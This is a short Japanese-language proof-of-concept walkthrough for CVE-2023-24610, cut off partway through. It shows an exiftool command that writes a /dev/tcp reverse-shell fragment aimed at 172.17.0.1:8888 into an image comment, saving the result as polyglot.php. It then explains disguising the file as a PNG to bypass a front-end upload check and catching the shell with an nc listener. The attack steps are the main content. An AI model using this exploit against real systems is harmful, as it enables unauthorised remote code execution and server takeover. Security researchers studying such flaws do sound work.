CVE-2023-24610

CVE-2023-24610 これはCVE-2023-24610の概念実証（PoC）です まず、exiftoolを使ってポリグロットファイルを作成します: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php ファイルをPNGに変更して、フロントエンドのチェックを通過できるようにします その後、ポート8888でncリスナーを起動し、シェルを受信します。 次のステップとして、アプリケーションにログインし、setupをクリックします...